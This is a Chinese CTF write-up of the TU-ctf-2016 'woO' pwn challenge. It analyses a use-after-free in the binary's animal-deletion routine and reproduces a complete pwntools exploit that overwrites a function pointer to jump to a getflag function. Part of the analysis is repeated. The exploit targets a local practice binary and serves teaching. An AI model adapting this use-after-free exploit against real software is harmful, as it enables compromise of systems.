TU-ctf-2016 pwn woO 分析记录
2017-10-11 00:00
543 查看
小动物很可爱的说?
放在ida中分析,发现已经有了获取flag的函数,不需要自己找system了,接下来就是如何控制程序的执行流程。
首先对程序功能作基本的分析:
新建动物时malloc一个结构体存放动物的信息,如果是熊,结构体的0x0-0x8存放0xdeadbeef,0x8-0x14存放动物的名字,0x14-0x20存放动物的type;
如果是其他动物,从0开始存放动物的名字。维护了一个全局指针pointers,作为一个目录表记录所有的结构体地址。
使用uaf的姿势,关键在于delete功能:
此时调用delete就会执行&pointers+3 (0x155e470)指向的指令,从而实现程序流程控制
作者已经给出了getflag的函数不需要自己再构造system来getshell,getflag的函数地址位0x4008dd
参考大佬的exp:
参考:http://blog.csdn.net/qq_29343201/article/details/53503052
放在ida中分析,发现已经有了获取flag的函数,不需要自己找system了,接下来就是如何控制程序的执行流程。
首先对程序功能作基本的分析:
新建动物时malloc一个结构体存放动物的信息,如果是熊,结构体的0x0-0x8存放0xdeadbeef,0x8-0x14存放动物的名字,0x14-0x20存放动物的type;
如果是其他动物,从0开始存放动物的名字。维护了一个全局指针pointers,作为一个目录表记录所有的结构体地址。
使用uaf的姿势,关键在于delete功能:
void deleteAnimal() { int v0; // [sp+Ch] [bp-4h]@1 puts("Choose your friends wisely.."); puts("Which element do you want to delete?"); fflush(stdout); __isoc99_scanf("%d", &v0); getchar(); if ( v0 > 0 && v0 <= 4 ) free(*(&pointers + v0)); }首先第一个结构体无法被delete,所以大致流程为:makebear--->makebear---->makebear--->delete(1) 下次malloc时就会优先分配到第二个结构体的位置,此时maketiger(除熊外随便动物,不能是熊,否则会更新bearoffset),输入动物的名字时就会从第二个结构体的起始处开始存放,从而覆盖掉第三个结构体起始处的0xdeadbeef:
此时调用delete就会执行&pointers+3 (0x155e470)指向的指令,从而实现程序流程控制
作者已经给出了getflag的函数不需要自己再构造system来getshell,getflag的函数地址位0x4008dd
参考大佬的exp:
#!/usr/bin/python2 # coding:utf-8 from pwn import * def make_bear(s, name='hello'): log.info('making a bear with name ' + name) s.recv() s.sendline('3') s.recv() s.sendline('3') s.recv() s.sendline(name) def make_tiger(s, name='hello'): log.info('making a tiger with name ' + name) s.recv() s.sendline('2') s.recv() s.sendline('3') s.recv() s.sendline(name) def delete_animal(s, num): log.info('delete animal ' + num) s.recv() s.sendline('4') s.recv() s.sendline(num) def send_pwn(s): log.info('sending to pwn') s.recv() s.sendline('4919') def pwn(): s = process("./ani") make_bear(s) make_bear(s) make_bear(s) delete_animal(s, '1') make_tiger(s, 'a' * 32 + '\xdd\x08\x40\x00') gdb.attach(s,'b pwnMe') send_pwn(s) log.info("flag is :" + s.recv()) if __name__ == "__main__": pwn()
参考:http://blog.csdn.net/qq_29343201/article/details/53503052
相关文章推荐
- CTF练习 TU-ctf-2016 pwn woO-50
- CTF练习-TU-CTF-2016 pwn BBYS-first-elf-25 记录
- 记录CTF misc之菜刀流量分析
- ZCTF2015 pwn试题分析
- 【CTF WEB】ISCC 2016 web 2题记录
- plaidctf-2016 Pwn试题小结
- ctf pwn 个人经验记录
- CTF数据分析题:A记录
- volga-ctf-quals-2016 pwn web_of_scicen_250 writeup
- Android RIL 调试分析全记录
- 通话记录分析 --- 删除 之一
- NOIP2016提高组初赛(C++语言)试题 个人的胡乱分析 Part 2.
- QQ2010聊天记录查看器 7.5算法分析
- Android4.4 Telephony流程分析——拨号应用(Dialer)的通话记录加载过程
- 【NOIP2016 普及组题解分析总结】
- 【分析总结框架记录】开发环境搭建2
- FastDFS分布式文件系统点滴记录4 -- tracker 、storage 入口分析
- ctf常见php弱类型分析
- SpringMVC学习记录--Validator验证分析
- android系统移植emmc记录(6)--sd卡烧写文件分析